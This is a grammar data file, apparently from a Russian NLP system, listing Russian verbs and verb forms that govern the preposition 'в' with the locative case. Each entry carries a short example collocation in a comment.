// инфинитив:ликвидировать{ вид:несоверш }, глагол:ликвидировать{ вид:несоверш }, // ликвидировать в пригороде
// инфинитив:ликвидировать{ вид:соверш }, глагол:ликвидировать{ вид:соверш },
rus_verbs:проваляться{}, // проваляться в постели
rus_verbs:лечиться{}, // лечиться в стационаре
rus_verbs:определиться{}, // определиться в честном бою
rus_verbs:обработать{}, // обработать в растворе
rus_verbs:пробивать{}, // пробивать в стене
rus_verbs:перемешаться{}, // перемешаться в чане
rus_verbs:чесать{}, // чесать в паху
rus_verbs:пролечь{}, // пролечь в пустынной местности
rus_verbs:скитаться{}, // скитаться в дальних странах
rus_verbs:затрудняться{}, // затрудняться в выборе
rus_verbs:отряхнуться{}, // отряхнуться в коридоре
rus_verbs:разыгрываться{}, // разыгрываться в лотерее
rus_verbs:помолиться{}, // помолиться в церкви
rus_verbs:предписывать{}, // предписывать в рецепте
rus_verbs:порваться{}, // порваться в слабом месте
rus_verbs:греться{}, // греться в здании
rus_verbs:опровергать{}, // опровергать в своем выступлении
rus_verbs:помянуть{}, // помянуть в своем выступлении
rus_verbs:допросить{}, // допросить в прокуратуре
rus_verbs:материализоваться{}, // материализоваться в соседнем здании
rus_verbs:рассеиваться{}, // рассеиваться в воздухе
rus_verbs:перевозить{}, // перевозить в вагоне
rus_verbs:отбывать{}, // отбывать в тюрьме
rus_verbs:попахивать{}, // попахивать в отхожем месте
rus_verbs:перечислять{}, // перечислять в заключении
rus_verbs:зарождаться{}, // зарождаться в дебрях
rus_verbs:предъявлять{}, // предъявлять в своем письме
rus_verbs:распространять{}, // распространять в сети
rus_verbs:пировать{}, // пировать в соседнем селе
rus_verbs:начертать{}, // начертать в летописи
rus_verbs:расцветать{}, // расцветать в подходящих условиях
rus_verbs:царствовать{}, // царствовать в южной части материка
rus_verbs:накопить{}, // накопить в буфере
rus_verbs:закрутиться{}, // закрутиться в рутине
rus_verbs:отработать{}, // отработать в забое
rus_verbs:обокрасть{}, // обокрасть в автобусе
rus_verbs:прокладывать{}, // прокладывать в снегу
rus_verbs:ковырять{}, // ковырять в носу
rus_verbs:копить{}, // копить в очереди
rus_verbs:полечь{}, // полечь в степях
rus_verbs:щебетать{}, // щебетать в кустиках
rus_verbs:подчеркиваться{}, // подчеркиваться в сообщении
rus_verbs:посеять{}, // посеять в огороде
rus_verbs:разъезжать{}, // разъезжать в кабриолете
rus_verbs:замечаться{}, // замечаться в лесу
rus_verbs:просчитать{}, // просчитать в уме
rus_verbs:маяться{}, // маяться в командировке
rus_verbs:выхватывать{}, // выхватывать в тексте
rus_verbs:креститься{}, // креститься в деревенской часовне
rus_verbs:обрабатывать{}, // обрабатывать в растворе кислоты
rus_verbs:настигать{}, // настигать в огороде
rus_verbs:разгуливать{}, // разгуливать в роще
rus_verbs:насиловать{}, // насиловать в квартире
rus_verbs:побороть{}, // побороть в себе
rus_verbs:учитывать{}, // учитывать в расчетах
rus_verbs:искажать{}, // искажать в заметке
rus_verbs:пропить{}, // пропить в кабаке
rus_verbs:катать{}, // катать в лодочке
rus_verbs:припрятать{}, // припрятать в кармашке
rus_verbs:запаниковать{}, // запаниковать в бою
rus_verbs:рассыпать{}, // рассыпать в траве
rus_verbs:застревать{}, // застревать в ограде
rus_verbs:зажигаться{}, // зажигаться в сумерках
rus_verbs:жарить{}, // жарить в масле
rus_verbs:накапливаться{}, // накапливаться в костях
rus_verbs:распуститься{}, // распуститься в горшке
rus_verbs:проголосовать{}, // проголосовать в передвижном пункте
rus_verbs:странствовать{}, // странствовать в автомобиле
rus_verbs:осматриваться{}, // осматриваться в хоромах
rus_verbs:разворачивать{}, // разворачивать в спортзале
rus_verbs:заскучать{}, // заскучать в самолете
rus_verbs:напутать{}, // напутать в расчете
rus_verbs:перекусить{}, // перекусить в столовой
rus_verbs:спасаться{}, // спасаться в автономной капсуле
rus_verbs:посовещаться{}, // посовещаться в комнате
rus_verbs:доказываться{}, // доказываться в статье
rus_verbs:познаваться{}, // познаваться в беде
rus_verbs:загрустить{}, // загрустить в одиночестве
rus_verbs:оживить{}, // оживить в памяти
rus_verbs:переворачиваться{}, // переворачиваться в гробу
rus_verbs:заприметить{}, // заприметить в лесу
rus_verbs:отравиться{}, // отравиться в забегаловке
rus_verbs:продержать{}, // продержать в клетке
rus_verbs:выявить{}, // выявить в костях
rus_verbs:заседать{}, // заседать в совете
rus_verbs:расплачиваться{}, // расплачиваться в первой кассе
rus_verbs:проломить{}, // проломить в двери
rus_verbs:подражать{}, // подражать в мелочах
rus_verbs:подсчитывать{}, // подсчитывать в уме
rus_verbs:опережать{}, // опережать во всем
rus_verbs:сформироваться{}, // сформироваться в облаке
rus_verbs:укрепиться{}, // укрепиться в мнении
rus_verbs:отстоять{}, // отстоять в очереди
rus_verbs:развертываться{}, // развертываться в месте испытания
rus_verbs:замерзать{}, // замерзать во льду
rus_verbs:утопать{}, // утопать в снегу
rus_verbs:раскаиваться{}, // раскаиваться в содеянном
rus_verbs:организовывать{}, // организовывать в пионерлагере
rus_verbs:перевестись{}, // перевестись в наших краях
rus_verbs:смешивать{}, // смешивать в блендере
rus_verbs:ютиться{}, // ютиться в тесной каморке
rus_verbs:прождать{}, // прождать в аудитории
rus_verbs:подыскивать{}, // подыскивать в женском общежитии
rus_verbs:замочить{}, // замочить в сортире
rus_verbs:мерзнуть{}, // мерзнуть в тонкой курточке
rus_verbs:растирать{}, // растирать в ступке
rus_verbs:замедлять{}, // замедлять в парафине
rus_verbs:переспать{}, // переспать в палатке
rus_verbs:рассекать{}, // рассекать в кабриолете
rus_verbs:отыскивать{}, // отыскивать в залежах
rus_verbs:опровергнуть{}, // опровергнуть в своем выступлении
rus_verbs:дрыхнуть{}, // дрыхнуть в гамаке
rus_verbs:укрываться{}, // укрываться в землянке
rus_verbs:запечься{}, // запечься в золе
rus_verbs:догорать{}, // догорать в темноте
rus_verbs:застилать{}, // застилать в коридоре
rus_verbs:сыскаться{}, // сыскаться в деревне
rus_verbs:переделать{}, // переделать в мастерской
rus_verbs:разъяснять{}, // разъяснять в своей лекции
rus_verbs:селиться{}, // селиться в центре
rus_verbs:оплачивать{}, // оплачивать в магазине
rus_verbs:переворачивать{}, // переворачивать в закрытой банке
rus_verbs:упражняться{}, // упражняться в остроумии
rus_verbs:пометить{}, // пометить в списке
rus_verbs:припомниться{}, // припомниться в завещании
rus_verbs:приютить{}, // приютить в амбаре
rus_verbs:натерпеться{}, // натерпеться в темнице
rus_verbs:затеваться{}, // затеваться в клубе
rus_verbs:уплывать{}, // уплывать в лодке
rus_verbs:скиснуть{}, // скиснуть в бидоне
rus_verbs:заколоть{}, // заколоть в боку
rus_verbs:замерцать{}, // замерцать в темноте
rus_verbs:фиксироваться{}, // фиксироваться в протоколе
rus_verbs:запираться{}, // запираться в комнате
rus_verbs:съезжаться{}, // съезжаться в каретах
rus_verbs:толочься{}, // толочься в ступе
rus_verbs:потанцевать{}, // потанцевать в клубе
rus_verbs:побродить{}, // побродить в парке
rus_verbs:назревать{}, // назревать в коллективе
rus_verbs:дохнуть{}, // дохнуть в питомнике
rus_verbs:крестить{}, // крестить в деревенской церквушке
rus_verbs:рассчитаться{}, // рассчитаться в банке
rus_verbs:припарковаться{}, // припарковаться во дворе
rus_verbs:отхватить{}, // отхватить в магазинчике
rus_verbs:остывать{}, // остывать в холодильнике
rus_verbs:составляться{}, // составляться в атмосфере тайны
rus_verbs:переваривать{}, // переваривать в тишине
rus_verbs:хвастать{}, // хвастать в казино
rus_verbs:отрабатывать{}, // отрабатывать в теплице
rus_verbs:разлечься{}, // разлечься в кровати
rus_verbs:прокручивать{}, // прокручивать в голове
rus_verbs:очертить{}, // очертить в воздухе
rus_verbs:сконфузиться{}, // сконфузиться в окружении незнакомых людей
rus_verbs:выявлять{}, // выявлять в боевых условиях
rus_verbs:караулить{}, // караулить в лифте
rus_verbs:расставлять{}, // расставлять в бойницах
rus_verbs:прокрутить{}, // прокрутить в голове
rus_verbs:пересказывать{}, // пересказывать в первой главе
rus_verbs:задавить{}, // задавить в зародыше
rus_verbs:хозяйничать{}, // хозяйничать в холодильнике
rus_verbs:хвалиться{}, // хвалиться в детском садике
rus_verbs:оперировать{}, // оперировать в полевом госпитале
rus_verbs:формулировать{}, // формулировать в следующей главе
rus_verbs:застигнуть{}, // застигнуть в неприглядном виде
rus_verbs:замурлыкать{}, // замурлыкать в тепле
rus_verbs:поддакивать{}, // поддакивать в споре
rus_verbs:прочертить{}, // прочертить в воздухе
rus_verbs:отменять{}, // отменять в городе коменданский час
rus_verbs:колдовать{}, // колдовать в лаборатории
rus_verbs:отвозить{}, // отвозить в машине
rus_verbs:трахать{}, // трахать в гамаке
rus_verbs:повозиться{}, // повозиться в мешке
rus_verbs:ремонтировать{}, // ремонтировать в центре
rus_verbs:робеть{}, // робеть в гостях
rus_verbs:перепробовать{}, // перепробовать в деле
инфинитив:реализовать{ вид:соверш }, инфинитив:реализовать{ вид:несоверш }, // реализовать в новой версии
глагол:реализовать{ вид:соверш }, глагол:реализовать{ вид:несоверш },
rus_verbs:покаяться{}, // покаяться в церкви
rus_verbs:попрыгать{}, // попрыгать в бассейне
rus_verbs:умалчивать{}, // умалчивать в своем докладе
rus_verbs:ковыряться{}, // ковыряться в старой технике
rus_verbs:расписывать{}, // расписывать в деталях
rus_verbs:вязнуть{}, // вязнуть в песке
rus_verbs:погрязнуть{}, // погрязнуть в скандалах
rus_verbs:корениться{}, // корениться в неспособности выполнить поставленную задачу
rus_verbs:зажимать{}, // зажимать в углу
rus_verbs:стискивать{}, // стискивать в ладонях
rus_verbs:практиковаться{}, // практиковаться в приготовлении соуса
rus_verbs:израсходовать{}, // израсходовать в полете
rus_verbs:клокотать{}, // клокотать в жерле
rus_verbs:обвиняться{}, // обвиняться в растрате
rus_verbs:уединиться{}, // уединиться в кладовке
rus_verbs:подохнуть{}, // подохнуть в болоте
rus_verbs:кипятиться{}, // кипятиться в чайнике
rus_verbs:уродиться{}, // уродиться в лесу
rus_verbs:продолжиться{}, // продолжиться в баре
rus_verbs:расшифровать{}, // расшифровать в специальном устройстве
rus_verbs:посапывать{}, // посапывать в кровати
rus_verbs:скрючиться{}, // скрючиться в мешке
rus_verbs:лютовать{}, // лютовать в отдаленных селах
rus_verbs:расписать{}, // расписать в статье
rus_verbs:публиковаться{}, // публиковаться в научном журнале
rus_verbs:зарегистрировать{}, // зарегистрировать в комитете
rus_verbs:прожечь{}, // прожечь в листе
rus_verbs:переждать{}, // переждать в окопе
rus_verbs:публиковать{}, // публиковать в журнале
rus_verbs:морщить{}, // морщить в уголках глаз
rus_verbs:спиться{}, // спиться в одиночестве
rus_verbs:изведать{}, // изведать в гареме
rus_verbs:обмануться{}, // обмануться в ожиданиях
rus_verbs:сочетать{}, // сочетать в себе
rus_verbs:подрабатывать{}, // подрабатывать в магазине
rus_verbs:репетировать{}, // репетировать в студии
rus_verbs:рябить{}, // рябить в глазах
rus_verbs:намочить{}, // намочить в луже
rus_verbs:скатать{}, // скатать в руке
rus_verbs:одевать{}, // одевать в магазине
rus_verbs:испечь{}, // испечь в духовке
rus_verbs:сбрить{}, // сбрить в подмышках
rus_verbs:зажужжать{}, // зажужжать в ухе
rus_verbs:сберечь{}, // сберечь в тайном месте
rus_verbs:согреться{}, // согреться в хижине
инфинитив:дебютировать{ вид:несоверш }, инфинитив:дебютировать{ вид:соверш }, // дебютировать в спектакле
глагол:дебютировать{ вид:несоверш }, глагол:дебютировать{ вид:соверш },
rus_verbs:переплыть{}, // переплыть в лодочке
rus_verbs:передохнуть{}, // передохнуть в тени
rus_verbs:отсвечивать{}, // отсвечивать в зеркалах
rus_verbs:переправляться{}, // переправляться в лодках
rus_verbs:накупить{}, // накупить в магазине
rus_verbs:проторчать{}, // проторчать в очереди
rus_verbs:проскальзывать{}, // проскальзывать в сообщениях
rus_verbs:застукать{}, // застукать в солярии
rus_verbs:наесть{}, // наесть в отпуске
rus_verbs:подвизаться{}, // подвизаться в новом деле
rus_verbs:вычистить{}, // вычистить в саду
rus_verbs:кормиться{}, // кормиться в лесу
rus_verbs:покурить{}, // покурить в саду
rus_verbs:понизиться{}, // понизиться в ранге
rus_verbs:зимовать{}, // зимовать в избушке
rus_verbs:проверяться{}, // проверяться в службе безопасности
rus_verbs:подпирать{}, // подпирать в первом забое
rus_verbs:кувыркаться{}, // кувыркаться в постели
rus_verbs:похрапывать{}, // похрапывать в постели
rus_verbs:завязнуть{}, // завязнуть в песке
rus_verbs:трактовать{}, // трактовать в исследовательской статье
rus_verbs:замедляться{}, // замедляться в тяжелой воде
rus_verbs:шастать{}, // шастать в здании
rus_verbs:заночевать{}, // заночевать в пути
rus_verbs:наметиться{}, // наметиться в исследованиях рака
rus_verbs:освежить{}, // освежить в памяти
rus_verbs:оспаривать{}, // оспаривать в суде
rus_verbs:умещаться{}, // умещаться в ячейке
rus_verbs:искупить{}, // искупить в бою
rus_verbs:отсиживаться{}, // отсиживаться в тылу
rus_verbs:мчать{}, // мчать в кабриолете
rus_verbs:обличать{}, // обличать в своем выступлении
rus_verbs:сгнить{}, // сгнить в тюряге
rus_verbs:опробовать{}, // опробовать в деле
rus_verbs:тренировать{}, // тренировать в зале
rus_verbs:прославить{}, // прославить в академии
rus_verbs:учитываться{}, // учитываться в дипломной работе
rus_verbs:повеселиться{}, // повеселиться в лагере
rus_verbs:поумнеть{}, // поумнеть в карцере
rus_verbs:перестрелять{}, // перестрелять в воздухе
rus_verbs:проведать{}, // проведать в больнице
rus_verbs:измучиться{}, // измучиться в деревне
rus_verbs:прощупать{}, // прощупать в глубине
rus_verbs:изготовлять{}, // изготовлять в сарае
rus_verbs:свирепствовать{}, // свирепствовать в популяции
rus_verbs:иссякать{}, // иссякать в источнике
rus_verbs:гнездиться{}, // гнездиться в дупле
rus_verbs:разогнаться{}, // разогнаться в спортивной машине
rus_verbs:опознавать{}, // опознавать в неизвестном
rus_verbs:засвидетельствовать{}, // засвидетельствовать в суде
rus_verbs:сконцентрировать{}, // сконцентрировать в своих руках
rus_verbs:редактировать{}, // редактировать в редакторе
rus_verbs:покупаться{}, // покупаться в магазине
rus_verbs:промышлять{}, // промышлять в роще
rus_verbs:растягиваться{}, // растягиваться в коридоре
rus_verbs:приобретаться{}, // приобретаться в антикварных лавках
инфинитив:подрезать{ вид:несоверш }, инфинитив:подрезать{ вид:соверш }, // подрезать в воде
глагол:подрезать{ вид:несоверш }, глагол:подрезать{ вид:соверш },
rus_verbs:запечатлеться{}, // запечатлеться в мозгу
rus_verbs:укрывать{}, // укрывать в подвале
rus_verbs:закрепиться{}, // закрепиться в первой башне
rus_verbs:освежать{}, // освежать в памяти
rus_verbs:громыхать{}, // громыхать в ванной
инфинитив:подвигаться{ вид:соверш }, инфинитив:подвигаться{ вид:несоверш }, // подвигаться в кровати
глагол:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:несоверш },
rus_verbs:добываться{}, // добываться в шахтах
rus_verbs:растворить{}, // растворить в кислоте
rus_verbs:приплясывать{}, // приплясывать в гримерке
rus_verbs:доживать{}, // доживать в доме престарелых
rus_verbs:отпраздновать{}, // отпраздновать в ресторане
rus_verbs:сотрясаться{}, // сотрясаться в конвульсиях
rus_verbs:помыть{}, // помыть в проточной воде
инфинитив:увязать{ вид:несоверш }, инфинитив:увязать{ вид:соверш }, // увязать в песке
глагол:увязать{ вид:несоверш }, глагол:увязать{ вид:соверш },
прилагательное:увязавший{ вид:несоверш },
rus_verbs:наличествовать{}, // наличествовать в запаснике
rus_verbs:нащупывать{}, // нащупывать в кармане
rus_verbs:повествоваться{}, // повествоваться в рассказе
rus_verbs:отремонтировать{}, // отремонтировать в техцентре
rus_verbs:покалывать{}, // покалывать в правом боку
rus_verbs:сиживать{}, // сиживать в саду
rus_verbs:разрабатываться{}, // разрабатываться в секретных лабораториях
rus_verbs:укрепляться{}, // укрепляться в мнении
rus_verbs:разниться{}, // разниться во взглядах
rus_verbs:сполоснуть{}, // сполоснуть в водичке
rus_verbs:скупать{}, // скупать в магазине
rus_verbs:почесывать{}, // почесывать в паху
rus_verbs:оформлять{}, // оформлять в конторе
rus_verbs:распускаться{}, // распускаться в садах
rus_verbs:зарябить{}, // зарябить в глазах
rus_verbs:загореть{}, // загореть в Испании
rus_verbs:очищаться{}, // очищаться в баке
rus_verbs:остудить{}, // остудить в холодной воде
rus_verbs:разбомбить{}, // разбомбить в горах
rus_verbs:издохнуть{}, // издохнуть в бедности
rus_verbs:проехаться{}, // проехаться в новой машине
rus_verbs:задействовать{}, // задействовать в анализе
rus_verbs:произрастать{}, // произрастать в степи
rus_verbs:разуться{}, // разуться в прихожей
rus_verbs:сооружать{}, // сооружать в огороде
rus_verbs:зачитывать{}, // зачитывать в суде
rus_verbs:состязаться{}, // состязаться в остроумии
rus_verbs:ополоснуть{}, // ополоснуть в молоке
rus_verbs:уместиться{}, // уместиться в кармане
rus_verbs:совершенствоваться{}, // совершенствоваться в управлении мотоциклом
rus_verbs:стираться{}, // стираться в стиральной машине
rus_verbs:искупаться{}, // искупаться в прохладной реке
rus_verbs:курировать{}, // курировать в правительстве
rus_verbs:закупить{}, // закупить в магазине
rus_verbs:плодиться{}, // плодиться в подходящих условиях
rus_verbs:горланить{}, // горланить в парке
rus_verbs:першить{}, // першить в горле
rus_verbs:пригрезиться{}, // пригрезиться во сне
rus_verbs:исправлять{}, // исправлять в тетрадке
rus_verbs:расслабляться{}, // расслабляться в гамаке
rus_verbs:скапливаться{}, // скапливаться в нижней части
rus_verbs:сплетничать{}, // сплетничают в комнате
rus_verbs:раздевать{}, // раздевать в кабинке
rus_verbs:окопаться{}, // окопаться в лесу
rus_verbs:загорать{}, // загорать в Испании
rus_verbs:подпевать{}, // подпевать в церковном хоре
rus_verbs:прожужжать{}, // прожужжать в динамике
rus_verbs:изучаться{}, // изучаться в дикой природе
rus_verbs:заклубиться{}, // заклубиться в воздухе
rus_verbs:подметать{}, // подметать в зале
rus_verbs:подозреваться{}, // подозреваться в совершении кражи
rus_verbs:обогащать{}, // обогащать в специальном аппарате
rus_verbs:издаться{}, // издаться в другом издательстве
rus_verbs:справить{}, // справить в кустах нужду
rus_verbs:помыться{}, // помыться в бане
rus_verbs:проскакивать{}, // проскакивать в словах
rus_verbs:попивать{}, // попивать в кафе чай
rus_verbs:оформляться{}, // оформляться в регистратуре
rus_verbs:чирикать{}, // чирикать в кустах
rus_verbs:скупить{}, // скупить в магазинах
rus_verbs:переночевать{}, // переночевать в гостинице
rus_verbs:концентрироваться{}, // концентрироваться в пробирке
rus_verbs:одичать{}, // одичать в лесу
rus_verbs:ковырнуть{}, // ковырнуть в ухе
rus_verbs:затеплиться{}, // затеплиться в глубине души
rus_verbs:разгрести{}, // разгрести в задачах залежи
rus_verbs:застопориться{}, // застопориться в начале списка
rus_verbs:перечисляться{}, // перечисляться во введении
rus_verbs:покататься{}, // покататься в парке аттракционов
rus_verbs:изловить{}, // изловить в поле
rus_verbs:прославлять{}, // прославлять в стихах
rus_verbs:промочить{}, // промочить в луже
rus_verbs:поделывать{}, // поделывать в отпуске
rus_verbs:просуществовать{}, // просуществовать в первобытном состоянии
rus_verbs:подстеречь{}, // подстеречь в подъезде
rus_verbs:прикупить{}, // прикупить в магазине
rus_verbs:перемешивать{}, // перемешивать в кастрюле
rus_verbs:тискать{}, // тискать в углу
rus_verbs:купать{}, // купать в теплой водичке
rus_verbs:завариться{}, // завариться в стакане
rus_verbs:притулиться{}, // притулиться в углу
rus_verbs:пострелять{}, // пострелять в тире
rus_verbs:навесить{}, // навесить в больнице
инфинитив:изолировать{ вид:соверш }, инфинитив:изолировать{ вид:несоверш }, // изолировать в камере
глагол:изолировать{ вид:соверш }, глагол:изолировать{ вид:несоверш },
rus_verbs:нежиться{}, // нежится в постельке
rus_verbs:притомиться{}, // притомиться в школе
rus_verbs:раздвоиться{}, // раздвоиться в глазах
rus_verbs:навалить{}, // навалить в углу
rus_verbs:замуровать{}, // замуровать в склепе
rus_verbs:поселяться{}, // поселяться в кроне дуба
rus_verbs:потягиваться{}, // потягиваться в кровати
rus_verbs:укачать{}, // укачать в поезде
rus_verbs:отлеживаться{}, // отлеживаться в гамаке
rus_verbs:разменять{}, // разменять в кассе
rus_verbs:прополоскать{}, // прополоскать в чистой теплой воде
rus_verbs:ржаветь{}, // ржаветь в воде
rus_verbs:уличить{}, // уличить в плагиате
rus_verbs:мутиться{}, // мутиться в голове
rus_verbs:растворять{}, // растворять в бензоле
rus_verbs:двоиться{}, // двоиться в глазах
rus_verbs:оговорить{}, // оговорить в договоре
rus_verbs:подделать{}, // подделать в документе
rus_verbs:зарегистрироваться{}, // зарегистрироваться в социальной сети
rus_verbs:растолстеть{}, // растолстеть в талии
rus_verbs:повоевать{}, // повоевать в городских условиях
rus_verbs:прибраться{}, // гнушаться прибраться в хлеву
rus_verbs:поглощаться{}, // поглощаться в металлической фольге
rus_verbs:ухать{}, // ухать в лесу
rus_verbs:подписываться{}, // подписываться в петиции
rus_verbs:покатать{}, // покатать в машинке
rus_verbs:излечиться{}, // излечиться в клинике
rus_verbs:трепыхаться{}, // трепыхаться в мешке
rus_verbs:кипятить{}, // кипятить в кастрюле
rus_verbs:понастроить{}, // понастроить в прибрежной зоне
rus_verbs:перебывать{}, // перебывать во всех европейских столицах
rus_verbs:оглашать{}, // оглашать в итоговой части
rus_verbs:преуспевать{}, // преуспевать в новом бизнесе
rus_verbs:консультироваться{}, // консультироваться в техподдержке
rus_verbs:накапливать{}, // накапливать в печени
rus_verbs:перемешать{}, // перемешать в контейнере
rus_verbs:наследить{}, // наследить в коридоре
rus_verbs:выявиться{}, // выявиться в результе
rus_verbs:забулькать{}, // забулькать в болоте
rus_verbs:отваривать{}, // отваривать в молоке
rus_verbs:запутываться{}, // запутываться в веревках
rus_verbs:нагреться{}, // нагреться в микроволновой печке
rus_verbs:рыбачить{}, // рыбачить в открытом море
rus_verbs:укорениться{}, // укорениться в сознании широких народных масс
rus_verbs:умывать{}, // умывать в тазике
rus_verbs:защекотать{}, // защекотать в носу
rus_verbs:заходиться{}, // заходиться в плаче
инфинитив:искупать{ вид:соверш }, инфинитив:искупать{ вид:несоверш }, // искупать в прохладной водичке
глагол:искупать{ вид:соверш }, глагол:искупать{ вид:несоверш },
деепричастие:искупав{}, деепричастие:искупая{},
rus_verbs:заморозить{}, // заморозить в холодильнике
rus_verbs:закреплять{}, // закреплять в металлическом держателе
rus_verbs:расхватать{}, // расхватать в магазине
rus_verbs:истязать{}, // истязать в тюремном подвале
rus_verbs:заржаветь{}, // заржаветь во влажной атмосфере
rus_verbs:обжаривать{}, // обжаривать в подсолнечном масле
rus_verbs:умереть{}, // Ты, подлый предатель, умрешь в нищете
rus_verbs:подогреть{}, // подогрей в микроволновке
rus_verbs:подогревать{},
rus_verbs:затянуть{}, // Кузнечики, сверчки, скрипачи и медведки затянули в траве свою трескучую музыку
rus_verbs:проделать{}, // проделать в стене дыру
инфинитив:жениться{ вид:соверш }, // жениться в Техасе
инфинитив:жениться{ вид:несоверш },
глагол:жениться{ вид:соверш },
глагол:жениться{ вид:несоверш },
деепричастие:женившись{},
деепричастие:женясь{},
прилагательное:женатый{},
прилагательное:женившийся{вид:соверш},
прилагательное:женящийся{},
rus_verbs:всхрапнуть{}, // всхрапнуть во сне
rus_verbs:всхрапывать{}, // всхрапывать во сне
rus_verbs:ворочаться{}, // Собака ворочается во сне
rus_verbs:воссоздаваться{}, // воссоздаваться в памяти
rus_verbs:акклиматизироваться{}, // альпинисты готовятся акклиматизироваться в горах
инфинитив:атаковать{ вид:несоверш }, // взвод был атакован в лесу
инфинитив:атаковать{ вид:соверш },
глагол:атаковать{ вид:несоверш },
глагол:атаковать{ вид:соверш },
прилагательное:атакованный{},
прилагательное:атаковавший{},
прилагательное:атакующий{},
инфинитив:аккумулировать{вид:несоверш}, // энергия была аккумулирована в печени
инфинитив:аккумулировать{вид:соверш},
глагол:аккумулировать{вид:несоверш},
глагол:аккумулировать{вид:соверш},
прилагательное:аккумулированный{},
прилагательное:аккумулирующий{},
//прилагательное:аккумулировавший{ вид:несоверш },
прилагательное:аккумулировавший{ вид:соверш },
rus_verbs:врисовывать{}, // врисовывать нового персонажа в анимацию
rus_verbs:вырасти{}, // Он вырос в глазах коллег.
rus_verbs:иметь{}, // Он всегда имел в резерве острое словцо.
rus_verbs:убить{}, // убить в себе зверя
инфинитив:абсорбироваться{ вид:соверш }, // жидкость абсорбируется в поглощающей ткани
инфинитив:абсорбироваться{ вид:несоверш },
глагол:абсорбироваться{ вид:соверш },
глагол:абсорбироваться{ вид:несоверш },
rus_verbs:поставить{}, // поставить в углу
rus_verbs:сжимать{}, // сжимать в кулаке
rus_verbs:готовиться{}, // альпинисты готовятся акклиматизироваться в горах
rus_verbs:аккумулироваться{}, // энергия аккумулируется в жировых отложениях
инфинитив:активизироваться{ вид:несоверш }, // в горах активизировались повстанцы
инфинитив:активизироваться{ вид:соверш },
глагол:активизироваться{ вид:несоверш },
глагол:активизироваться{ вид:соверш },
rus_verbs:апробировать{}, // пилот апробировал в ходе испытаний новый режим планера
rus_verbs:арестовать{}, // наркодилер был арестован в помещении кафе
rus_verbs:базировать{}, // установка будет базирована в лесу
rus_verbs:барахтаться{}, // дети барахтались в воде
rus_verbs:баррикадироваться{}, // преступники баррикадируются в помещении банка
rus_verbs:барствовать{}, // Семен Семенович барствовал в своей деревне
rus_verbs:бесчинствовать{}, // Боевики бесчинствовали в захваченном селе
rus_verbs:блаженствовать{}, // Воробьи блаженствовали в кроне рябины
rus_verbs:блуждать{}, // Туристы блуждали в лесу
rus_verbs:брать{}, // Жена берет деньги в тумбочке
rus_verbs:бродить{}, // парочки бродили в парке
rus_verbs:обойти{}, // Бразилия обошла Россию в рейтинге
rus_verbs:задержать{}, // Знаменитый советский фигурист задержан в США
rus_verbs:бултыхаться{}, // Ноги бултыхаются в воде
rus_verbs:вариться{}, // Курица варится в кастрюле
rus_verbs:закончиться{}, // Эта рецессия закончилась в 2003 году
rus_verbs:прокручиваться{}, // Ключ прокручивается в замке
rus_verbs:прокрутиться{}, // Ключ трижды прокрутился в замке
rus_verbs:храниться{}, // Настройки хранятся в текстовом файле
rus_verbs:сохраняться{}, // Настройки сохраняются в текстовом файле
rus_verbs:витать{}, // Мальчик витает в облаках
rus_verbs:владычествовать{}, // Король владычествует в стране
rus_verbs:властвовать{}, // Олигархи властвовали в стране
rus_verbs:возбудить{}, // возбудить в сердце тоску
rus_verbs:возбуждать{}, // возбуждать в сердце тоску
rus_verbs:возвыситься{}, // возвыситься в глазах современников
rus_verbs:возжечь{}, // возжечь в храме огонь
rus_verbs:возжечься{}, // Огонь возжёгся в храме
rus_verbs:возжигать{}, // возжигать в храме огонь
rus_verbs:возжигаться{}, // Огонь возжигается в храме
rus_verbs:вознамериваться{}, // вознамериваться уйти в монастырь
rus_verbs:вознамериться{}, // вознамериться уйти в монастырь
rus_verbs:возникать{}, // Новые идеи неожиданно возникают в колиной голове
rus_verbs:возникнуть{}, // Новые идейки возникли в голове
rus_verbs:возродиться{}, // возродиться в новом качестве
rus_verbs:возрождать{}, // возрождать в новом качестве
rus_verbs:возрождаться{}, // возрождаться в новом амплуа
rus_verbs:ворошить{}, // ворошить в камине кочергой золу
rus_verbs:воспевать{}, // Поэты воспевают героев в одах
rus_verbs:воспеваться{}, // Герои воспеваются в одах поэтами
rus_verbs:воспеть{}, // Поэты воспели в этой оде героев
rus_verbs:воспретить{}, // воспретить в помещении азартные игры
rus_verbs:восславить{}, // Поэты восславили в одах
rus_verbs:восславлять{}, // Поэты восславляют в одах
rus_verbs:восславляться{}, // Героя восславляются в одах
rus_verbs:воссоздать{}, // воссоздает в памяти образ человека
rus_verbs:воссоздавать{}, // воссоздать в памяти образ человека
rus_verbs:воссоздаться{}, // воссоздаться в памяти
rus_verbs:вскипятить{}, // вскипятить в чайнике воду
rus_verbs:вскипятиться{}, // вскипятиться в чайнике
rus_verbs:встретить{}, // встретить в классе старого приятеля
rus_verbs:встретиться{}, // встретиться в классе
rus_verbs:встречать{}, // встречать в лесу голодного медведя
rus_verbs:встречаться{}, // встречаться в кафе
rus_verbs:выбривать{}, // выбривать что-то в подмышках
rus_verbs:выбрить{}, // выбрить что-то в паху
rus_verbs:вывалять{}, // вывалять кого-то в грязи
rus_verbs:вываляться{}, // вываляться в грязи
rus_verbs:вываривать{}, // вываривать в молоке
rus_verbs:вывариваться{}, // вывариваться в молоке
rus_verbs:выварить{}, // выварить в молоке
rus_verbs:вывариться{}, // вывариться в молоке
rus_verbs:выгрызать{}, // выгрызать в сыре отверствие
rus_verbs:выгрызть{}, // выгрызть в сыре отверстие
rus_verbs:выгуливать{}, // выгуливать в парке собаку
rus_verbs:выгулять{}, // выгулять в парке собаку
rus_verbs:выдолбить{}, // выдолбить в стволе углубление
rus_verbs:выжить{}, // выжить в пустыне
rus_verbs:Выискать{}, // Выискать в программе ошибку
rus_verbs:выискаться{}, // Ошибка выискалась в программе
rus_verbs:выискивать{}, // выискивать в программе ошибку
rus_verbs:выискиваться{}, // выискиваться в программе
rus_verbs:выкраивать{}, // выкраивать в расписании время
rus_verbs:выкраиваться{}, // выкраиваться в расписании
инфинитив:выкупаться{aux stress="в^ыкупаться"}, // выкупаться в озере
глагол:выкупаться{вид:соверш},
rus_verbs:выловить{}, // выловить в пруду
rus_verbs:вымачивать{}, // вымачивать в молоке
rus_verbs:вымачиваться{}, // вымачиваться в молоке
rus_verbs:вынюхивать{}, // вынюхивать в траве следы
rus_verbs:выпачкать{}, // выпачкать в смоле свою одежду
rus_verbs:выпачкаться{}, // выпачкаться в грязи
rus_verbs:вырастить{}, // вырастить в теплице ведро огурчиков
